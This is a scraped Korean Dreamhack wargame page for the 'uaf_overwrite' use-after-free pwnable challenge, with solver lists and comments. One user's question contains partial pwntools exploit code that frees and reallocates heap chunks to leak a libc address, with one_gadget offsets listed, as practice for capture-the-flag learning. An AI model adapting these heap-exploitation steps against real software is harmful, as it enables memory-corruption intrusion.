LEVEL 2

uaf_overwrite

pwnable
  • 문제 정보
  • 풀이 50
  • 난이도 투표 75
  • 질문 18
  • 최근 풀이자 1085
  • 댓글 28

문제 설명

Description

Exploit Tech: Use After Free에서 실습하는 문제입니다.

Challenge Updates

2023.04.27: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
st4rlight
안드로이드
출제된 지 4시간 만에 풀이 완료!

난이도 투표 75

질문 18

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
왜 엉뚱한 값이 나오는지 모르겠습니다. 도와주세요
아래는 제가 직접 작성한 코드입니다. 처음에는 쉘까지 얻는 코드를 작성했지만 라이브러리 주소를 잘 못 받는거 같아서 라이브러리 주소 받는 코드까지만 작성을 했는데요. 아래에 제가 사진과 같이 코드를 설명할건데 어디서 틀렸는지나 혹은 왜 이상한 값이 나오는지 설명해주시면 감사하겠습니다. from pwn import * #p = remote('host3.dreamhack.games', 16493) p = process('./uaf_overwrite') e = ELF('./uaf_overwrite') libc = ELF('./libc-2.27.so') def log(n, m): return success(": ".join([n, hex(m)])) def robot(weight): p.sendlineafter("> ", str(2)) p.sendlineafter("Robot Weight: ", str(weight)) def human(weight, age): p.sendlineafter("> ", str(1)) p.sendlineafter("Human Weight: ", str(weight)) p.sendlineafter("Human Age: ", str(age)) def custom(size, data, idx): p.sendlineafter("> ", "3") p.sendlineafter("Size: ", str(size)) p.sendlineafter("Data: ", data) p.sendlineafter("Free idx: ", str(idx)) one_gadget = [0x4f3d5, 0x4f432, 0x10a41c] custom(1040, "AAAA", -1) #첫번째 청크 & non free custom(1040, "BBBB", 0) #두번째 청크 & 첫번째 free p.sendlineafter("> ", "3") #세번째 청크 & main_arena addr leak p.sendlineafter("Size: ", "1040") p.sendlineafter("Data: ", "AAAAAAAAA") p.recvuntil("Data: AAAAAAAA") lib = u64(p.recv(6) + b"\x00\x00") log("lib", lib) 우선 main_arena 주소를 얻기 위해 청크를 할당 및 해제를 해줍니다. unsorted bin에 들어가도록 size는 0x410 이상으로 맞춰주었습니다. 현재 첫번째 청크가 해제되었습니다. 해제된 청크를 보면 fd와 bk에 main__arena 주소가 있네요. main_arena 주소를 laek하기 위해 uaf 취약점을 이용하여 데이터를 leak해보겠습니다. 해제 후에 같은 청크를 할당하기 위해 같은 사이즈의 청크를 할당하였습니다. A를 9번 넣어준 이유는 bk값을 얻기 위해서입니다. fd 값은 main_arena 주소가 아니더라구요. A를 9번 넣어주면 fd 값의 주소가 전부 A로 덮히고 bk값에 A가 하나 덮혔네요. 그러면 데이터가 AAAAAAAA[main_arena 뒤에 41] 이렇게 출력되겠네요. 그래서 앞에 있는 8개의 A를 버린 다음 main_arena주소(7byte) + 'A'를 받으려고 했습니다. 그럼 나오는 데이터는 대충 0x7ffff41 형태로 나와야 하는데 코드를 실행해보면 앞에 7f와 뒤에 41은 맞는데 중간은 어디서 온건지 모르는 값이 나오더라구요.. 왜 이러는걸까요?
avatar p6rkdoye0n

최근 풀이자 1085

정윤주
대표 업적 없음
뚜와리밥
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
Turt1e94
대표 업적 없음
이지우
대표 업적 없음
avatar
&;
세계수
100050
대표 업적 없음
Dirstibone
워게임 풀이: 1
어렵다
대표 업적 없음
driiiimhack
대표 업적 없음

댓글 28

haehae
대표 업적 없음
libc를 어떻게 릭 하느냐가 문제의 핵심인거 같아요
avatar
Rootsquare
해결사
해제 후 사용(Use After Free)의 어려운 연습 문제.
avatar
사용자
해결사
좋은 연습문제입니다
포고로모
대표 업적 없음
libc base 구하는 곳에서 대가리 실컷 깨지면서 많이 배웠습니다. 여러분도 머리 좀 깨지십쇼 저는 가봅니다
avatar
Rosieblue
워게임 고인물
good
avatar
UKO
2022 Christmas CTF 운영
어려워요..
avatar
Ox0ne
대표 업적 없음
강의를 보고 하긴 했는데.,,libc주소 구하는 과정에서 필요한 지식이 너무 많아짐..ㅠ
Index
워게임: 1
이게 왜 레벨1..?
avatar
msh1307
대표 업적 없음
: )
sinse100
대표 업적 없음
dsfd